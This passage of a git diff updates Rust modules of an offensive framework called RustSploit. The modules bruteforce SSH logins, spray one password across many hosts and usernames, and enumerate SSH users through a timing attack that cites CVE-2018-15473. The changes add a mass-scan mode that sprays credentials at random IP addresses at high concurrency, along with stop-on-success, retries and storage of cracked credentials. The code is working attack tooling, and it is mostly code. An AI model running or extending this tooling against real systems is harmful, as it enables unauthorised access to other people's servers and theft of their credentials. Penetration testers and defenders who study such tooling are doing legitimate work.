println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
// Use std::fs::File for simple writing
|
||||
use std::fs::File;
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
file.flush()?;
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored SSH responses.",
|
||||
unknown_guard.len()
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "ssh_unknown_responses.txt";
|
||||
let fname = prompt_default(
|
||||
&format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
),
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::fs::File;
|
||||
match File::create(&filename) {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
@@ -420,19 +334,23 @@ async fn try_ssh_login(
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let handle = spawn_blocking(move || {
|
||||
let tcp = TcpStream::connect(&addr_owned)
|
||||
let socket_addr: std::net::SocketAddr = addr_owned.parse()
|
||||
.or_else(|_| addr_owned.to_socket_addrs().and_then(|mut a|
|
||||
a.next().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "No addresses resolved"))))
|
||||
.map_err(|e| anyhow!("Cannot resolve address {}: {}", addr_owned, e))?;
|
||||
let tcp = TcpStream::connect_timeout(&socket_addr, timeout_duration)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
|
||||
let mut sess = Session::new()
|
||||
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
|
||||
sess.handshake()
|
||||
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
|
||||
|
||||
|
||||
sess.userauth_password(&user_owned, &pass_owned)
|
||||
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
|
||||
|
||||
|
||||
Ok(sess.authenticated())
|
||||
});
|
||||
|
||||
|
||||
@@ -12,14 +12,12 @@ use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use anyhow::Context;
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
@@ -28,22 +26,36 @@ use tokio::{
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
use crate::utils::{cfg_prompt_yes_no, cfg_prompt_default, cfg_prompt_required};
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH Password Spray".to_string(),
|
||||
description: "Sprays a single password across multiple SSH targets and usernames. Avoids account lockouts by distributing attempts across hosts with configurable concurrency and delays.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_THREADS: usize = 20;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Password Spray ║".cyan());
|
||||
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Benefits: ║".cyan());
|
||||
println!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
println!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ SSH Password Spray ║".cyan());
|
||||
crate::mprintln!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
crate::mprintln!("{}", "║ ║".cyan());
|
||||
crate::mprintln!("{}", "║ Benefits: ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
@@ -97,7 +109,7 @@ impl Statistics {
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
crate::mprint!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
@@ -110,13 +122,13 @@ impl Statistics {
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
crate::mprintln!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
crate::mprintln!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -133,7 +145,7 @@ pub struct SprayResult {
|
||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
let tcp = crate::utils::blocking_tcp_connect(
|
||||
&addr.parse()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
)?;
|
||||
@@ -214,15 +226,20 @@ pub async fn password_spray(
|
||||
password: &str,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
stop_on_success: bool,
|
||||
) -> Vec<SprayResult> {
|
||||
let total = targets.len() * usernames.len();
|
||||
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
crate::mprintln!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
password, targets.len(), usernames.len(), total).cyan());
|
||||
|
||||
if stop_on_success {
|
||||
crate::mprintln!("{}", "[*] Stop-on-success enabled: will halt after first valid credential".yellow());
|
||||
}
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let success_stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
@@ -238,47 +255,91 @@ pub async fn password_spray(
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
if success_stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for user in usernames {
|
||||
if success_stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
let success_stop_clone = Arc::clone(&success_stop);
|
||||
let host = host.clone();
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
results.lock().await.push(cred);
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
}
|
||||
_ => {
|
||||
stats.record_attempt(false, true);
|
||||
|
||||
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
// Check if we should stop before acquiring permit
|
||||
if success_stop_clone.load(Ordering::Relaxed) {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
// Check again after acquiring permit
|
||||
if success_stop_clone.load(Ordering::Relaxed) {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
const MAX_RETRIES: u32 = 2;
|
||||
let mut attempt = 0u32;
|
||||
|
||||
loop {
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
};
|
||||
crate::mprintln!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
results.lock().await.push(cred);
|
||||
// Persist credential to framework credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&host, port, "ssh", &user, &password,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ssh_spray",
|
||||
).await;
|
||||
// Signal stop if stop_on_success is enabled
|
||||
if stop_on_success {
|
||||
success_stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
break;
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => {
|
||||
// Connection error — retry with exponential backoff
|
||||
if attempt < MAX_RETRIES {
|
||||
attempt += 1;
|
||||
// Exponential backoff: 500ms, 1000ms
|
||||
let delay_ms = 500u64 * (1u64 << (attempt - 1));
|
||||
sleep(Duration::from_millis(delay_ms)).await;
|
||||
continue;
|
||||
}
|
||||
stats.record_attempt(false, true);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
@@ -301,7 +362,11 @@ pub async fn password_spray(
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
let mut file = opts.open(path)?;
|
||||
|
||||
writeln!(file, "# SSH Password Spray Results")?;
|
||||
writeln!(file, "# Generated by RustSploit")?;
|
||||
@@ -312,65 +377,10 @@ fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
crate::mprintln!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to spray
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "administrator", "ubuntu",
|
||||
@@ -380,15 +390,61 @@ const DEFAULT_USERNAMES: &[&str] = &[
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
|
||||
// Mass scan mode: random IPs or target file
|
||||
if is_mass_scan_target(target) {
|
||||
let password = cfg_prompt_required("password", "Password to spray").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
let users_str = cfg_prompt_default("usernames", "Usernames (comma-separated)", "root,admin,ubuntu").await?;
|
||||
let users: Vec<String> = users_str.split(',').map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
let users = Arc::new(users);
|
||||
let password = Arc::new(password);
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SSH Spray",
|
||||
default_port: 22,
|
||||
state_file: "ssh_spray_mass_state.log",
|
||||
default_output: "ssh_spray_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: std::net::IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let password = password.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr: std::net::SocketAddr = format!("{}:{}", ip, port).parse().ok()?;
|
||||
for user in users.iter() {
|
||||
let tcp = crate::utils::blocking_tcp_connect(
|
||||
&addr,
|
||||
std::time::Duration::from_secs(10),
|
||||
).ok()?;
|
||||
let _ = tcp.set_read_timeout(Some(std::time::Duration::from_secs(10)));
|
||||
let _ = tcp.set_write_timeout(Some(std::time::Duration::from_secs(10)));
|
||||
let mut sess = ssh2::Session::new().ok()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() { continue; }
|
||||
if sess.userauth_password(user, &password).is_ok() && sess.authenticated() {
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, password);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// Get password to spray
|
||||
let password = prompt("Password to spray").await?;
|
||||
let password = cfg_prompt_required("password", "Password to spray").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let port: u16 = cfg_prompt_default("ssh_port", "SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get targets
|
||||
let mut targets = Vec::new();
|
||||
@@ -396,29 +452,29 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Add initial target
|
||||
let host = normalize_target(target);
|
||||
if !host.is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
targets.extend(parse_targets(&host, port));
|
||||
}
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
|
||||
let more_targets = cfg_prompt_default("additional_targets", "Additional targets (comma-separated, CIDR, or leave empty)", "").await?;
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false).await? {
|
||||
let file_path = prompt("File path").await?;
|
||||
if cfg_prompt_yes_no("load_targets_file", "Load targets from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("targets_file", "File path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
for t in file_targets {
|
||||
targets.extend(parse_targets(&t, port));
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -432,28 +488,28 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false).await? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
if cfg_prompt_yes_no("load_usernames_file", "Load usernames from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("username_file", "Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
|
||||
if usernames.is_empty() || cfg_prompt_yes_no("use_default_usernames", "Also test default usernames?", true).await? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
@@ -466,29 +522,37 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string()).await?
|
||||
let threads: usize = cfg_prompt_default("concurrency", "Concurrent threads", &DEFAULT_THREADS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
|
||||
let timeout: u64 = cfg_prompt_default("timeout", "Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", false).await?;
|
||||
|
||||
crate::mprintln!();
|
||||
|
||||
// Run spray
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout, stop_on_success).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "ssh_spray_results.txt").await?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
if !results.is_empty() && cfg_prompt_yes_no("save_results", "Save results to file?", true).await? {
|
||||
let raw = cfg_prompt_default("output_file", "Output file", "ssh_spray_results.txt").await?;
|
||||
// Force basename only — no directory traversal
|
||||
let output_path = std::path::Path::new(&raw)
|
||||
.file_name()
|
||||
.map(|n| n.to_string_lossy().to_string())
|
||||
.unwrap_or_else(|| "ssh_spray_results.txt".to_string());
|
||||
if output_path.is_empty() || output_path.starts_with('.') {
|
||||
crate::mprintln!("{}", "[-] Invalid output filename".red());
|
||||
} else if let Err(e) = save_results(&results, &output_path) {
|
||||
crate::mprintln!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
@@ -1,21 +1,31 @@
|
||||
//! SSH User Enumeration Module (Timing Attack)
|
||||
//!
|
||||
//!
|
||||
//! Based on SSHPWN framework - enumerates valid users via timing attack.
|
||||
//! Inspired by CVE-2018-15473 style attacks.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use anyhow::Context;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH User Enumeration (Timing Attack)".to_string(),
|
||||
description: "Enumerates valid SSH usernames via timing-based side-channel attack. Measures authentication response time differences to identify valid accounts, inspired by CVE-2018-15473.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["CVE-2018-15473".to_string()],
|
||||
disclosure_date: Some("2018-08-17".to_string()),
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
@@ -23,16 +33,43 @@ const DEFAULT_SAMPLES: usize = 3;
|
||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
|
||||
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ How it works: ║".cyan());
|
||||
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
|
||||
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
|
||||
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ SSH User Enumeration (Timing Attack) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Based on auth2.c timing differences ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ How it works: ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Measures authentication response time for each username ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Valid users often have different timing than invalid ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Compares against baseline (known invalid user) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
@@ -50,42 +87,52 @@ fn normalize_target(target: &str) -> String {
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
|
||||
let tcp = match crate::utils::blocking_tcp_connect(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
